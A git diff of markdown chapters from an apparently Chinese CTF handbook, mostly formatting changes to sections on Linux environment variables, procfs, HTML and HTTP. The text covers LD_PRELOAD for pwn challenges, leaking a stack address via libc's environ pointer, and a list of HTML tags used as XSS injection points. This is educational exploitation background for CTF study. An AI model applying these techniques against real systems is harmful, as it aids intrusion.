||||
|
||||
#### 设置方法
|
||||
1. 在文件 `/etc/profile` 中添加变量,这种方法对所有用户永久生效。如:
|
||||
```
|
||||
# Set our default path
|
||||
PATH="/usr/local/sbin:/usr/local/bin:/usr/bin"
|
||||
export PATH
|
||||
```
|
||||
添加后执行命令 `source /etc/profile` 使其生效。
|
||||
### 设置方法
|
||||
|
||||
2. 在文件 `~/.bash_profile` 中添加变量,这种方法对当前用户永久生效。其余同上。
|
||||
3. 直接运行命令 `export` 定义变量,这种方法只对当前终端临时生效。
|
||||
- 在文件 `/etc/profile` 中添加变量,这种方法对所有用户永久生效。如:
|
||||
|
||||
```text
|
||||
# Set our default path
|
||||
PATH="/usr/local/sbin:/usr/local/bin:/usr/bin"
|
||||
export PATH
|
||||
```
|
||||
|
||||
添加后执行命令 `source /etc/profile` 使其生效。
|
||||
- 在文件 `~/.bash_profile` 中添加变量,这种方法对当前用户永久生效。其余同上。
|
||||
- 直接运行命令 `export` 定义变量,这种方法只对当前终端临时生效。
|
||||
|
||||
### 常用变量
|
||||
|
||||
#### 常用变量
|
||||
使用命令 `echo` 打印变量:
|
||||
```
|
||||
|
||||
```text
|
||||
$ echo $PATH
|
||||
/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/lib/jvm/default/bin:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl
|
||||
$ echo $HOME
|
||||
@ -438,34 +473,50 @@ $ echo $SHELL
|
||||
$ echo $LANG
|
||||
en_US.UTF-8
|
||||
```
|
||||
|
||||
使用命令 `env` 可以打印出所有环境变量:
|
||||
```
|
||||
|
||||
```text
|
||||
$ env
|
||||
```
|
||||
使用命令 `set` 可以打印处所有本地定义的 shell 变量:
|
||||
```
|
||||
$ set
|
||||
```
|
||||
使用命令 `unset` 可以清楚环境变量:
|
||||
```
|
||||
$ unset $变量名
|
||||
COLORFGBG=15;0
|
||||
COLORTERM=truecolor
|
||||
...
|
||||
```
|
||||
|
||||
#### LD_PRELOAD
|
||||
使用命令 `set` 可以打印处所有本地定义的 shell 变量:
|
||||
|
||||
```text
|
||||
$ set
|
||||
'!'=0
|
||||
'#'=0
|
||||
...
|
||||
```
|
||||
|
||||
使用命令 `unset` 可以清楚环境变量:
|
||||
|
||||
```text
|
||||
unset $变量名
|
||||
```
|
||||
|
||||
### LD_PRELOAD
|
||||
|
||||
该环境变量可以定义在程序运行前优先加载的动态链接库。在 pwn 题目中,我们可能需要一个特定的 libc,这时就可以定义该变量:
|
||||
|
||||
```text
|
||||
LD_PRELOAD=/path/to/libc.so ./binary
|
||||
```
|
||||
$ LD_PRELOAD=/path/to/libc.so ./binary
|
||||
```
|
||||
|
||||
一个例子:
|
||||
```
|
||||
|
||||
```text
|
||||
$ ldd /bin/true
|
||||
linux-vdso.so.1 => (0x00007fff9a9fe000)
|
||||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1c083d9000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x0000557bcce6c000)
|
||||
linux-vdso.so.1 => (0x00007fff9a9fe000)
|
||||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1c083d9000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x0000557bcce6c000)
|
||||
$ LD_PRELOAD=~/libc.so.6 ldd /bin/true
|
||||
linux-vdso.so.1 => (0x00007ffee55e9000)
|
||||
/home/firmy/libc.so.6 (0x00007f4a28cfc000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x000055f33bc50000)
|
||||
linux-vdso.so.1 => (0x00007ffee55e9000)
|
||||
/home/firmy/libc.so.6 (0x00007f4a28cfc000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x000055f33bc50000)
|
||||
```
|
||||
|
||||
注意,在加载动态链接库时需要使用 `ld.so` 进行重定位,通常被符号链接到 `/lib64/ld-linux-x86-64.so` 中。动态链接库在编译时隐式指定 `ld.so` 的搜索路径,并写入 ELF Header 的 INTERP 字段中。从其他发行版直接拷贝已编译的 `.so` 文件可能会引发 `ld.so` 搜索路径不正确的问题。相似的,在版本依赖高度耦合的发行版中(如 ArchLinux),版本相差过大也会引发 `ld.so` 的运行失败。
|
||||
@ -473,16 +524,19 @@ $ LD_PRELOAD=~/libc.so.6 ldd /bin/true
|
||||
本地同版本编译后通常不会出现问题。如果有直接拷贝已编译版本的需要,可以对比 `interpreter` 确定是否符合要求,但是不保证不会失败。
|
||||
|
||||
上面的例子中两个 libc 是这样的:
|
||||
```
|
||||
|
||||
```text
|
||||
$ file /lib/x86_64-linux-gnu/libc-2.23.so
|
||||
/lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped
|
||||
$ file ~/libc.so.6
|
||||
/home/firmy/libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped
|
||||
```
|
||||
|
||||
都是 `interpreter /lib64/ld-linux-x86-64.so.2`,所以可以替换。
|
||||
|
||||
而下面的例子是在 Arch Linux 上使用一个 Ubuntu 的 libc,就会出错:
|
||||
```
|
||||
|
||||
```text
|
||||
$ ldd /bin/true
|
||||
linux-vdso.so.1 (0x00007ffc969df000)
|
||||
libc.so.6 => /usr/lib/libc.so.6 (0x00007f7ddde17000)
|
||||
@ -490,17 +544,21 @@ $ ldd /bin/true
|
||||
$ LD_PRELOAD=~/libc.so.6 ldd /bin/true
|
||||
Illegal instruction (core dumped)
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
$ file /usr/lib/libc-2.26.so
|
||||
/usr/lib/libc-2.26.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib/ld-linux-x86-64.so.2, BuildID[sha1]=458fd9997a454786f071cfe2beb234542c1e871f, for GNU/Linux 3.2.0, not stripped
|
||||
$ file ~/libc.so.6
|
||||
/home/firmy/libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped
|
||||
```
|
||||
|
||||
一个在 `interpreter /usr/lib/ld-linux-x86-64.so.2`,而另一个在 `interpreter /lib64/ld-linux-x86-64.so.2`。
|
||||
|
||||
#### environ
|
||||
### environ
|
||||
|
||||
libc 中定义的全局变量 `environ` 指向环境变量表。而环境变量表存在于栈上,所以通过 `environ` 指针的值就可以泄露出栈地址。
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ vmmap libc
|
||||
Start End Perm Name
|
||||
0x00007ffff7a1c000 0x00007ffff7bcf000 r-xp /usr/lib/libc-2.27.so
|
||||
@ -528,20 +586,24 @@ gdb-peda$ x/5s 0x00007fffffffe1da
|
||||
0x7fffffffe25f: "DISPLAY=:0"
|
||||
```
|
||||
|
||||
|
||||
## procfs
|
||||
|
||||
procfs 文件系统是 Linux 内核提供的虚拟文件系统,为访问系统内核数据的操作提供接口。之所以说是虚拟文件系统,是因为它不占用存储空间,而只是占用了内存。用户可以通过 procfs 查看有关系统硬件及当前正在运行进程的信息,甚至可以通过修改其中的某些内容来改变内核的运行状态。
|
||||
|
||||
#### /proc/cmdline
|
||||
### /proc/cmdline
|
||||
|
||||
在启动时传递给内核的相关参数信息,通常由 lilo 或 grub 等启动管理工具提供:
|
||||
```
|
||||
cat /proc/cmdline
|
||||
|
||||
```text
|
||||
$ cat /proc/cmdline
|
||||
BOOT_IMAGE=/boot/vmlinuz-4.14-x86_64 root=UUID=8e79a67d-af1b-4203-8c1c-3b670f0ec052 rw quiet resume=UUID=a220ecb1-7fde-4032-87bf-413057e9c06f
|
||||
```
|
||||
|
||||
#### /proc/cpuinfo
|
||||
### /proc/cpuinfo
|
||||
|
||||
记录 CPU 相关的信息:
|
||||
```
|
||||
|
||||
```text
|
||||
$ cat /proc/cpuinfo
|
||||
processor : 0
|
||||
vendor_id : GenuineIntel
|
||||
@ -572,9 +634,11 @@ power management:
|
||||
...
|
||||
```
|
||||
|
||||
#### /proc/crypto
|
||||
### /proc/crypto
|
||||
|
||||
已安装的内核所使用的密码算法及算法的详细信息:
|
||||
```
|
||||
|
||||
```text
|
||||
$ cat /proc/crypto
|
||||
name : ccm(aes)
|
||||
driver : ccm_base(ctr(aes-aesni),cbcmac(aes-aesni))
|
||||
@ -592,9 +656,11 @@ geniv : <none>
|
||||
...
|
||||
```
|
||||
|
||||
#### /proc/devices
|
||||
### /proc/devices
|
||||
|
||||
已加载的所有块设备和字符设备的信息,包含主设备号和设备组(与主设备号对应的设备类型)名:
|
||||
```
|
||||
|
||||
```text
|
||||
$ cat /proc/devices
|
||||
Character devices:
|
||||
1 mem
|
||||
@ -606,9 +672,11 @@ Character devices:
|
||||
...
|
||||
```
|
||||
|
||||
#### /proc/interrupts
|
||||
### /proc/interrupts
|
||||
|
||||
X86/X86_64 系统上每个 IRQ 相关的中断号列表,多路处理器平台上每个 CPU 对于每个 I/O 设备均有自己的中断号:
|
||||
```
|
||||
|
||||
```text
|
||||
$ cat /proc/interrupts
|
||||
CPU0 CPU1 CPU2 CPU3
|
||||
0: 15 0 0 0 IR-IO-APIC 2-edge timer
|
||||
@ -621,16 +689,20 @@ SPU: 0 0 0 0 Spurious interrupts
|
||||
...
|
||||
```
|
||||
|
||||
#### /proc/kcore
|
||||
### /proc/kcore
|
||||
|
||||
系统使用的物理内存,以 ELF 核心文件(core file)格式存储:
|
||||
```
|
||||
|
||||
```text
|
||||
$ sudo file /proc/kcore
|
||||
/proc/kcore: ELF 64-bit LSB core file x86-64, version 1 (SYSV), SVR4-style, from 'BOOT_IMAGE=/boot/vmlinuz-4.14-x86_64 root=UUID=8e79a67d-af1b-4203-8c1c-3b670f0e'
|
||||
```
|
||||
|
||||
#### /proc/meminfo
|
||||
### /proc/meminfo
|
||||
|
||||
系统中关于当前内存的利用状况等的信息:
|
||||
```
|
||||
|
||||
```text
|
||||
$ cat /proc/meminfo
|
||||
MemTotal: 12226252 kB
|
||||
MemFree: 4909444 kB
|
||||
@ -640,9 +712,11 @@ Cached: 3953616 kB
|
||||
...
|
||||
```
|
||||
|
||||
#### /proc/mounts
|
||||
### /proc/mounts
|
||||
|
||||
每个进程自身挂载名称空间中的所有挂载点列表文件的符号链接:
|
||||
```
|
||||
|
||||
```text
|
||||
$ cat /proc/mounts
|
||||
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
|
||||
sys /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0
|
||||
@ -650,9 +724,11 @@ dev /dev devtmpfs rw,nosuid,relatime,size=6106264k,nr_inodes=1526566,mode=755 0
|
||||
...
|
||||
```
|
||||
|
||||
#### /proc/modules
|
||||
### /proc/modules
|
||||
|
||||
当前装入内核的所有模块名称列表,可以由 lsmod 命令使用。其中第一列表示模块名,第二列表示此模块占用内存空间大小,第三列表示此模块有多少实例被装入,第四列表示此模块依赖于其它哪些模块,第五列表示此模块的装载状态:Live(已经装入)、Loading(正在装入)和 Unloading(正在卸载),第六列表示此模块在内核内存(kernel memory)中的偏移量:
|
||||
```
|
||||
|
||||
```text
|
||||
$ cat /proc/modules
|
||||
fuse 118784 3 - Live 0xffffffffc0d9b000
|
||||
ccm 20480 3 - Live 0xffffffffc0d95000
|
||||
@ -661,9 +737,11 @@ bnep 24576 2 - Live 0xffffffffc0d78000
|
||||
...
|
||||
```
|
||||
|
||||
#### /proc/slabinfo
|
||||
### /proc/slabinfo
|
||||
|
||||
保存着监视系统中所有活动的 slab 缓存的信息:
|
||||
```
|
||||
|
||||
```text
|
||||
$ sudo cat /proc/slabinfo
|
||||
slabinfo - version: 2.1
|
||||
# name <active_objs> <num_objs> <objsize> <objperslab> <pagesperslab> : tunables <limit> <batchcount> <sharedfactor> : slabdata <active_slabs> <num_slabs> <sharedavail>
|
||||
@ -673,9 +751,11 @@ drm_i915_gem_request 765 1036 576 28 4 : tunables 0 0 0 :
|
||||
...
|
||||
```
|
||||
|
||||
#### /proc/[pid]
|
||||
### /proc/[pid]
|
||||
|
||||
在 /proc 文件系统下,还有一些以数字命名的目录,这些数字是进程的 PID 号,而这些目录是进程目录。目录下的所有文件如下,然后会介绍几个比较重要的:
|
||||
```
|
||||
|
||||
```text
|
||||
$ cat - &
|
||||
[1] 1060
|
||||
$ ls /proc/1060/
|
||||
@ -687,33 +767,42 @@ clear_refs environ limits mountstats oom_score_adj schedstat
|
||||
cmdline exe map_files net pagemap setgroups status wchan
|
||||
```
|
||||
|
||||
#### /proc/[pid]/cmdline
|
||||
### /proc/[pid]/cmdline
|
||||
|
||||
启动当前进程的完整命令:
|
||||
```
|
||||
|
||||
```text
|
||||
$ cat /proc/1060/cmdline
|
||||
cat-
|
||||
```
|
||||
|
||||
#### /proc/[pid]/exe
|
||||
### /proc/[pid]/exe
|
||||
|
||||
指向启动当前进程的可执行文件的符号链接:
|
||||
```
|
||||
|
||||
```text
|
||||
$ file /proc/1060/exe
|
||||
/proc/1060/exe: symbolic link to /usr/bin/cat
|
||||
```
|
||||
|
||||
#### /proc/[pid]/root
|
||||
### /proc/[pid]/root
|
||||
|
||||
当前进程运行根目录的符号链接:
|
||||
```
|
||||
|
||||
```text
|
||||
$ file /proc/1060/root
|
||||
/proc/1060/root: symbolic link to /
|
||||
```
|
||||
|
||||
#### /proc/[pid]/mem
|
||||
### /proc/[pid]/mem
|
||||
|
||||
当前进程所占用的内存空间,由open、read和lseek等系统调用使用,不能被用户读取。但可通过下面的 /proc/[pid]/maps 查看。
|
||||
|
||||
#### /proc/[pid]/maps
|
||||
### /proc/[pid]/maps
|
||||
|
||||
这个文件大概是最常用的,用于显示进程的内存区域映射信息:
|
||||
```
|
||||
|
||||
```text
|
||||
$ cat /proc/1060/maps
|
||||
56271b3a5000-56271b3ad000 r-xp 00000000 08:01 24904069 /usr/bin/cat
|
||||
56271b5ac000-56271b5ad000 r--p 00007000 08:01 24904069 /usr/bin/cat
|
||||
@ -737,9 +826,11 @@ $ cat /proc/1060/maps
|
||||
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
|
||||
```
|
||||
|
||||
#### /proc/[pid]/stack
|
||||
### /proc/[pid]/stack
|
||||
|
||||
这个文件表示当前进程的内核调用栈信息,只有在内核编译启用 `CONFIG_STACKTRACE` 选项,才会生成该文件:
|
||||
```
|
||||
|
||||
```text
|
||||
$ sudo cat /proc/1060/stack
|
||||
[<ffffffff8e08fa2e>] do_signal_stop+0xae/0x1f0
|
||||
[<ffffffff8e090ec1>] get_signal+0x191/0x580
|
||||
@ -750,9 +841,11 @@ $ sudo cat /proc/1060/stack
|
||||
[<ffffffffffffffff>] 0xffffffffffffffff
|
||||
```
|
||||
|
||||
#### /proc/[pid]/auxv
|
||||
### /proc/[pid]/auxv
|
||||
|
||||
该文件包含了传递给进程的解释器信息,即 auxv(AUXiliary Vector),每一项都是由一个 unsigned long 长度的 ID 加上一个 unsigned long 长度的值构成:
|
||||
```
|
||||
|
||||
```text
|
||||
$ xxd -e -g8 /proc/1060/auxv
|
||||
00000000: 0000000000000021 00007ffde574b000 !.........t.....
|
||||
00000010: 0000000000000010 00000000bfebfbff ................
|
||||
@ -775,8 +868,10 @@ $ xxd -e -g8 /proc/1060/auxv
|
||||
00000120: 000000000000000f 00007ffde5678359 ........Y.g.....
|
||||
00000130: 0000000000000000 0000000000000000 ................
|
||||
```
|
||||
|
||||
每个值具体是做什么的,可以用下面的办法显示出来,对比看一看,更详细的可以查看 `/usr/include/elf.h` 和 `man ld.so`:
|
||||
```
|
||||
|
||||
```text
|
||||
$ LD_SHOW_AUXV=1 cat -
|
||||
AT_SYSINFO_EHDR: 0x7ffd16be5000
|
||||
AT_HWCAP: bfebfbff
|
||||
@ -798,11 +893,14 @@ AT_HWCAP2: 0x0
|
||||
AT_EXECFN: /bin/cat
|
||||
AT_PLATFORM: x86_64
|
||||
```
|
||||
|
||||
值得一提的是,`AT_SYSINFO_EHDR` 所对应的值是一个叫做的 VDSO(Virtual Dynamic Shared Object) 的地址。在 ret2vdso 漏洞利用方法中会用到(参考章节6.1.6)。
|
||||
|
||||
#### /proc/[pid]/environ
|
||||
### /proc/[pid]/environ
|
||||
|
||||
该文件包含了进程的环境变量:
|
||||
```
|
||||
|
||||
```text
|
||||
$ strings /proc/1060/environ
|
||||
GS_LIB=/home/firmy/.fonts
|
||||
KDE_FULL_SESSION=true
|
||||
@ -812,9 +910,11 @@ LANG=zh_CN.UTF-8
|
||||
...
|
||||
```
|
||||
|
||||
#### /proc/[pid]/fd
|
||||
### /proc/[pid]/fd
|
||||
|
||||
该文件包含了进程打开文件的情况:
|
||||
```
|
||||
|
||||
```text
|
||||
$ ls -al /proc/1060/fd
|
||||
total 0
|
||||
dr-x------ 2 firmy firmy 0 6月 7 23:37 .
|
||||
@ -824,9 +924,11 @@ lrwx------ 1 firmy firmy 64 6月 7 23:44 1 -> /dev/pts/3
|
||||
lrwx------ 1 firmy firmy 64 6月 7 23:44 2 -> /dev/pts/3
|
||||
```
|
||||
|
||||
#### /proc/[pid]/status
|
||||
### /proc/[pid]/status
|
||||
|
||||
该文件包含了进程的状态信息:
|
||||
```
|
||||
|
||||
```text
|
||||
$ cat /proc/1060/status
|
||||
Name: cat
|
||||
Umask: 0022
|
||||
@ -843,9 +945,11 @@ Groups: 3 7 10 56 90 91 93 95 96 98 1000
|
||||
...
|
||||
```
|
||||
|
||||
#### /proc/[pid]/task
|
||||
### /proc/[pid]/task
|
||||
|
||||
一个目录,包含当前进程的每一个线程的相关信息,每个线程的信息分别放在一个由线程号(tid)命名的目录中:
|
||||
```
|
||||
|
||||
```text
|
||||
$ ls /proc/1060/task/
|
||||
1060
|
||||
$ ls /proc/1060/task/1060/
|
||||
@ -855,14 +959,17 @@ cgroup comm exe io mountinfo numa_maps pagemap sch
|
||||
children cpuset fd limits mounts oom_adj personality schedstat stack syscall
|
||||
```
|
||||
|
||||
#### /proc/[pid]/syscall
|
||||
### /proc/[pid]/syscall
|
||||
|
||||
该文件包含了进程正在执行的系统调用:
|
||||
```
|
||||
|
||||
```text
|
||||
$ sudo cat /proc/1060/syscall
|
||||
0 0x0 0x7fefb6fdd000 0x20000 0x22 0xffffffff 0x0 0x7ffde5677d48 0x7fefb6b07901
|
||||
```
|
||||
|
||||
第一个值是系统调用号,后面跟着是六个参数,最后两个值分别是堆栈指针和指令计数器的值。
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [Linux Filesystem Hierarchy](http://tldp.org/LDP/Linux-Filesystem-Hierarchy/html/proc.html)
|
||||
|
@ -5,8 +5,8 @@
|
||||
- [HTML 编码](#html-编码)
|
||||
- [HTML5 新特性](#html5-新特性)
|
||||
|
||||
|
||||
## 什么是 HTML
|
||||
|
||||
HTML 是用来描述网页的一种语言。
|
||||
|
||||
- HTML 指的是超文本标记语言 (Hyper Text Markup Language)
|
||||
@ -20,8 +20,8 @@ HTML 是用来描述网页的一种语言。
|
||||
|
||||
由于是通过浏览器动态解析,因此可以使用普通文本编辑器来编写 HTML。
|
||||
|
||||
|
||||
## HTML 中的标签与元素
|
||||
|
||||
标签和元素共同构成了 HTML 多样的格式和丰富的功能。
|
||||
|
||||
HTML 元素以开始标签起始,以结束标签终止。元素处于开始标签与结束标签之间,标签之间可以嵌套,一个典型的 HTML 文档如下:
|
||||
@ -29,15 +29,16 @@ HTML 元素以开始标签起始,以结束标签终止。元素处于开始标
|
||||
```html
|
||||
<html>
|
||||
<!-- html文档申明标签 -->
|
||||
<body>
|
||||
<!-- html文档主体 -->
|
||||
Hello World
|
||||
<!-- 注释 -->
|
||||
</body>
|
||||
<body>
|
||||
<!-- html文档主体 -->
|
||||
Hello World
|
||||
<!-- 注释 -->
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
#### 信息隐藏
|
||||
### 信息隐藏
|
||||
|
||||
HTML 中的部分标签用于元信息展示、注释等功能,并不用于内容的显示。另一方面,一些属性具有修改浏览器显示样式的功能,在 CTF 中常被用来进行信息隐藏。
|
||||
|
||||
```html
|
||||
@ -52,11 +53,13 @@ HTML 中的部分标签用于元信息展示、注释等功能,并不用于内
|
||||
hidden,隐藏元素
|
||||
```
|
||||
|
||||
#### XSS
|
||||
### XSS
|
||||
|
||||
关于 XSS 漏洞的详细介绍见 1.4.5 节的 OWASP Top Ten Project 漏洞基础。导致 XSS 漏洞的原因是嵌入在 HTML 中的其它动态语言,但是 HTML 为恶意注入提供了输入口。
|
||||
|
||||
常见与 XSS 相关的标签或属性如下:
|
||||
```
|
||||
|
||||
```text
|
||||
<script>,定义客户端脚本
|
||||
<img src=>,规定显示图像的 URL
|
||||
<body background=>,规定文档背景图像URL
|
||||
@ -68,39 +71,40 @@ hidden,隐藏元素
|
||||
<svg onload=>,定义SVG资源引用
|
||||
```
|
||||
|
||||
|
||||
## HTML 编码
|
||||
|
||||
HTML 编码是一种用于表示问题字符已将其安全并入 HTML 文档的方案。HTML 定义了大量 HTML 实体来表示特殊的字符。
|
||||
|
||||
|HTML 编码|特殊字符|
|
||||
|-------|-------|
|
||||
| " | " |
|
||||
| &apos | ' |
|
||||
| & | & |
|
||||
| < | < |
|
||||
| > | > |
|
||||
| HTML 编码 | 特殊字符 |
|
||||
| --- | --- |
|
||||
| " | " |
|
||||
| &apos | ' |
|
||||
| & | & |
|
||||
| < | < |
|
||||
| > | > |
|
||||
|
||||
此外,任何字符都可以使用它的十进制或十六进制的ASCII码进行HTML编码,例如:
|
||||
|
||||
|HTML 编码|特殊字符|
|
||||
|-------|-------|
|
||||
| " | " |
|
||||
| ' | ' |
|
||||
| " | " |
|
||||
| ' | ' |
|
||||
|
||||
| HTML 编码 | 特殊字符 |
|
||||
| --- | --- |
|
||||
| " | " |
|
||||
| ' | ' |
|
||||
| " | " |
|
||||
| ' | ' |
|
||||
|
||||
## HTML5 新特性
|
||||
|
||||
其实 HTML5 已经不新了,之所以还会在这里提到 HTML5,是因为更强大的功能会带来更多意想不到的问题。
|
||||
|
||||
HTML5 的一些新特性:
|
||||
|
||||
- 新的语义元素标签
|
||||
- 新的表单控件
|
||||
- 强大的图像支持
|
||||
- 强大的多媒体支持
|
||||
- 强大的 API
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [W3C HTML 教程](http://www.w3school.com.cn/html/)
|
||||
- [HTML5 安全问题](http://html5sec.org/)
|
||||
|
@ -10,15 +10,16 @@
|
||||
- [HTTPS](#https)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 什么是 HTTP
|
||||
|
||||
HTTP 是 Web 领域的核心通信协议。最初的 HTTP 支持基于文本的静态资源获取,随着协议版本的不断迭代,它已经支持如今常见的复杂分布式应用程序。
|
||||
|
||||
HTTP 使用一种基于消息的模型,建立于 TCP 层之上。由客户端发送一条请求消息,而后由服务器返回一条响应消息。
|
||||
|
||||
|
||||
## HTTP 请求与响应
|
||||
|
||||
一次完整的请求或响应由消息头、一个空白行和消息主体构成。以下是一个典型的 HTTP 请求:
|
||||
|
||||
```http
|
||||
GET / HTTP/1.1
|
||||
Host: www.github.com
|
||||
@ -30,9 +31,11 @@ Upgrade-Insecure-Requests: 1
|
||||
Cookie: logged_in=yes;
|
||||
Connection: close
|
||||
```
|
||||
|
||||
第一行分别是请求方法,请求的资源路径和使用的 HTTP 协议版本,第二至九行为消息头键值对。
|
||||
|
||||
以下是对上面请求的回应(并不一定和真实访问相同,这里只是做为示例):
|
||||
|
||||
```http
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 26 Dec 2017 02:28:53 GMT
|
||||
@ -60,79 +63,83 @@ Content-Length: 128504
|
||||
<!DOCTYPE html>
|
||||
......
|
||||
```
|
||||
|
||||
第一行为协议版本、状态号和对应状态的信息,第二至二十二为返回头键值对,紧接着为一个空行和返回的内容实体。
|
||||
|
||||
|
||||
## HTTP 方法
|
||||
|
||||
在提到 HTTP 方法之前,我们需要先讨论一下 HTTP 版本问题。HTTP 协议现在共有三个大版本,版本差异会导致一些潜在的漏洞利用方式。
|
||||
|
||||
|版本 |简述 |
|
||||
|-------|-------|
|
||||
|HTTP 0.9|该版本只允许 GET 方法,具有典型的无状态性,无协议头和状态码,支持纯文本|
|
||||
|HTTP 1.0|增加了 HEAD 和 POST 方法,支持长连接、缓存和身份认证|
|
||||
|HTTP 1.1|增加了 Keep-alive 机制和 PipeLining 流水线,新增了 OPTIONS、PUT、DELETE、TRACE、CONNECT 方法|
|
||||
|HTTP 2.0|增加了多路复用、头部压缩、随时复位等功能|
|
||||
|
||||
|请求方法 |描述 |
|
||||
|------- |------- |
|
||||
|GET |请求获取 URL 资源 |
|
||||
|POST |执行操作,请求 URL 资源后附加新的数据|
|
||||
|HEAD |只获取资源响应消息报头|
|
||||
|PUT |请求服务器存储一个资源|
|
||||
|DELETE |请求服务器删除资源|
|
||||
|TRACE |请求服务器回送收到的信息|
|
||||
|OPTIONS |查询服务器的支持选项|
|
||||
| 版本 | 简述 |
|
||||
| --- | --- |
|
||||
| HTTP 0.9 | 该版本只允许 GET 方法,具有典型的无状态性,无协议头和状态码,支持纯文本 |
|
||||
| HTTP 1.0 | 增加了 HEAD 和 POST 方法,支持长连接、缓存和身份认证 |
|
||||
| HTTP 1.1 | 增加了 Keep-alive 机制和 PipeLining 流水线,新增了 OPTIONS、PUT、DELETE、TRACE、CONNECT 方法 |
|
||||
| HTTP 2.0 | 增加了多路复用、头部压缩、随时复位等功能 |
|
||||
|
||||
| 请求方法 | 描述 |
|
||||
| --- | --- |
|
||||
| GET | 请求获取 URL 资源 |
|
||||
| POST | 执行操作,请求 URL 资源后附加新的数据 |
|
||||
| HEAD | 只获取资源响应消息报头 |
|
||||
| PUT | 请求服务器存储一个资源 |
|
||||
| DELETE | 请求服务器删除资源 |
|
||||
| TRACE | 请求服务器回送收到的信息 |
|
||||
| OPTIONS | 查询服务器的支持选项 |
|
||||
|
||||
## URL
|
||||
|
||||
URL 是统一资源定位符,它代表了 Web 资源的唯一标识,如同电脑上的盘符路径。最常见的 URL 格式如下所示:
|
||||
```
|
||||
|
||||
```text
|
||||
protocol://[user[:password]@]hostname[:post]/[path]/file[?param=value]
|
||||
协议 分隔符 用户信息 域名 端口 路径 资源文件 参数键 参数值
|
||||
```
|
||||
|
||||
下面是一张具体案例分析
|
||||
|
||||
![](../pic/1.4.2_http_url.png)
|
||||
|
||||
![img](../pic/1.4.2_http_url.png)
|
||||
|
||||
## HTTP 消息头
|
||||
|
||||
HTTP 支持许多不同的消息头,一些有着特殊作用,而另一些则特定出现在请求或者响应中。
|
||||
|
||||
|消息头 |描述 |备注 |
|
||||
|------- |------- |-----------|
|
||||
|Connection |告知通信另一端,在完成HTTP传输后是关闭 TCP 连接,还是保持连接开放 | |
|
||||
|Content-Encoding|规定消息主体内容的编码形式 | |
|
||||
|Content-Length|规定消息主体的字节长度 | |
|
||||
|Content-Type|规定消息主体的内容类型 | |
|
||||
|Accept|告知服务器客户端愿意接受的内容类型 |请求 |
|
||||
|Accept-Encoding|告知服务器客户端愿意接受的内容编码 |请求 |
|
||||
|Authorization|进行内置 HTTP 身份验证 |请求 |
|
||||
|Cookie |用于向服务器提交 cookie |请求 |
|
||||
|Host |指定所请求的完整 URL 中的主机名称 |请求 |
|
||||
|Oringin |跨域请求中的请求域 |请求 |
|
||||
|Referer |指定提出当前请求的原始 URL |请求 |
|
||||
|User-Agent |提供浏览器或者客户端软件的有关信息 |请求 |
|
||||
|Cache-Control|向浏览器发送缓存指令 |响应 |
|
||||
|Location |重定向响应 |响应 |
|
||||
|Server |提供所使用的服务器软件信息 |响应 |
|
||||
|Set-Cookie |向浏览器发布 cookie |响应 |
|
||||
|WWW-Authenticate|提供服务器支持的验证信息 |响应 |
|
||||
|
||||
| 消息头 | 描述 | 备注 |
|
||||
| --- | --- | --- |
|
||||
| Connection | 告知通信另一端,在完成HTTP传输后是关闭 TCP 连接,还是保持连接开放 | |
|
||||
| Content-Encoding | 规定消息主体内容的编码形式 | |
|
||||
| Content-Length | 规定消息主体的字节长度 | |
|
||||
| Content-Type | 规定消息主体的内容类型 | |
|
||||
| Accept | 告知服务器客户端愿意接受的内容类型 | 请求 |
|
||||
| Accept-Encoding | 告知服务器客户端愿意接受的内容编码 | 请求 |
|
||||
| Authorization | 进行内置 HTTP 身份验证 | 请求 |
|
||||
| Cookie | 用于向服务器提交 cookie | 请求 |
|
||||
| Host | 指定所请求的完整 URL 中的主机名称 | 请求 |
|
||||
| Oringin | 跨域请求中的请求域 | 请求 |
|
||||
| Referer | 指定提出当前请求的原始 URL | 请求 |
|
||||
| User-Agent | 提供浏览器或者客户端软件的有关信息 | 请求 |
|
||||
| Cache-Control | 向浏览器发送缓存指令 | 响应 |
|
||||
| Location | 重定向响应 | 响应 |
|
||||
| Server | 提供所使用的服务器软件信息 | 响应 |
|
||||
| Set-Cookie |向浏览器发布 cookie | 响应 |
|
||||
| WWW-Authenticate | 提供服务器支持的验证信息 | 响应 |
|
||||
|
||||
## Cookie
|
||||
|
||||
Cookie 是大多数 Web 应用程序所依赖的关键组成部分,它用来弥补 HTTP 的无状态记录的缺陷。服务器使用 Set-Cookie 发布 cookie,浏览器获取 cookie 后每次请求会在 Cookie 字段中包含 cookie 值。
|
||||
|
||||
Cookie 是一组键值对,另外还包括以下信息:
|
||||
|
||||
